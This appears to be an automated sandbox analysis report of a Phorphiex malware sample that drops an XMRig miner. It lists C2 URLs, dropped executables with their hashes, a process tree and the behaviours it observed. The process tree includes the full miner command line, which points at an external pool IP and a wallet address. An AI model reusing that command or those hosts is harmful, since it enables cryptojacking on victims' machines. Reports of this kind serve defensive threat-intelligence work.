Analysis

  • max time kernel
    72s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/07/2026, 17:24

General

  • Target
    file.exe
  • Size 10KB
  • Sample260708-vywhmsdv3j
  • SHA256 5074181ece52b0e35f86c2c1acd023c7205f861426f21d303cbbdc23e8b50a68
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • phorphiex

C2
  • http://178.16.55.240/

  • http://178.16.55.240/nmix/

  • http://178.16.55.240/nmixx/

  • http://130.12.180.190/us/

  • http://130.12.180.190/xxx/

  • http://91.92.242.107/lmix/

Mutex
  • 97696696

Attributes
  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36

Signatures

  • Family: Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Downloads MZ/PE file 7 IoCs
  • Executes dropped EXE 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 51 IoCs
  • Suspicious use of FindShellTrayWindow 55 IoCs
  • Suspicious use of SendNotifyMessage 47 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Downloads MZ/PE file
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2752
    • C:\Users\Admin\AppData\Local\Temp\1026418348.exe
      C:\Users\Admin\AppData\Local\Temp\1026418348.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1432
    • C:\Users\Admin\AppData\Local\Temp\1804633144.exe
      C:\Users\Admin\AppData\Local\Temp\1804633144.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1540
    • C:\Users\Admin\AppData\Local\Temp\3879110836.exe
      C:\Users\Admin\AppData\Local\Temp\3879110836.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3672
    • C:\Users\Admin\AppData\Local\Temp\3597128287.exe
      C:\Users\Admin\AppData\Local\Temp\3597128287.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3416
    • C:\Users\Admin\AppData\Local\Temp\2394938747.exe
      C:\Users\Admin\AppData\Local\Temp\2394938747.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4600
    • C:\Users\Admin\AppData\Local\Temp\2006116490.exe
      C:\Users\Admin\AppData\Local\Temp\2006116490.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:5516
    • C:\Users\Admin\AppData\Local\Temp\4080726950.exe
      C:\Users\Admin\AppData\Local\Temp\4080726950.exe
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4560
      • C:\Users\Admin\sysmgnrsv.exe
        C:\Users\Admin\sysmgnrsv.exe
        3⤵
        • Executes dropped EXE
        PID:4500
      • C:\sysfrodolv.exe
        \sysfrodolv.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:6112
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3876
          • C:\Users\Admin\sysmgnrsv.exe
            C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:2416
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3960
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:3396
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:468
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3100

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        prep_Activatable Class_Hermes_perf.cache

        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 599B
        • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
        • MD5 SHA1 SHA512 TLSH

        1026418348.exe

        • Path C:\Users\Admin\AppData\Local\Temp\1026418348.exe
        • Size 18KB
        • SHA256 b9094cad28a8c4b6d355a9bcf33c405622e3320e484da07efcaa2a3e99ee8c55
        • MD5 SHA1 SHA512 SSDEEP TLSH

        1804633144.exe

        • Path C:\Users\Admin\AppData\Local\Temp\1804633144.exe
        • Size 18KB
        • SHA256 799be7a2d325faf175f7c4bb2af2129e29a5ef46aaf7d5f46ff2ee89c2647ed7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2006116490.exe

        • Path C:\Users\Admin\AppData\Local\Temp\2006116490.exe
        • Size 18KB
        • SHA256 f70b6a0341300dbb1fcad771e03a62544a9bb00abc14161cdcfb68b4022abdf7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2394938747.exe

        • Path C:\Users\Admin\AppData\Local\Temp\2394938747.exe
        • Size 18KB
        • SHA256 fe6487adabe8edcbbbf0bbbfcfddabca7975a33c73549555cbd1b19b4385bbf0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        3597128287.exe

        • Path C:\Users\Admin\AppData\Local\Temp\3597128287.exe
        • Size 18KB
        • SHA256 bb3f88e931cc18549532c45897798927fea51e14265714c097cb1af623a65e00
        • MD5 SHA1 SHA512 SSDEEP TLSH

        3879110836.exe

        • Path C:\Users\Admin\AppData\Local\Temp\3879110836.exe
        • Size 18KB
        • SHA256 d648e7278d8211bdc3162182169c780e22de6c7a9f5d650fbf31d033fd9d9d70
        • MD5 SHA1 SHA512 SSDEEP TLSH

        4080726950.exe

        • Path C:\Users\Admin\AppData\Local\Temp\4080726950.exe
        • Size 12KB
        • SHA256 01f64c61767bc41f039cf2080e61da49c96b14e4d558da6c03128e40ca816799
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sysmgnrsv.exe

        • Path C:\Users\Admin\sysmgnrsv.exe
        • Size 6.2MB
        • SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/468-17-0x00000253801E0000-0x00000253802E0000-memory.dmp

        memory/468-16-0x00000253801E0000-0x00000253802E0000-memory.dmp

        memory/468-18-0x00000253801E0000-0x00000253802E0000-memory.dmp

        memory/468-32-0x0000025381900000-0x0000025381920000-memory.dmp

        memory/468-33-0x0000025381E60000-0x0000025381F60000-memory.dmp

        memory/468-49-0x0000025381C60000-0x0000025381C80000-memory.dmp

        memory/468-63-0x00000253946E0000-0x0000025394700000-memory.dmp

        memory/3396-206-0x000000000F7E0000-0x000000000F860000-memory.dmp

        memory/3396-223-0x000000000F7E0000-0x000000000F860000-memory.dmp

        memory/4500-231-0x0000020E022C0000-0x0000020E022E0000-memory.dmp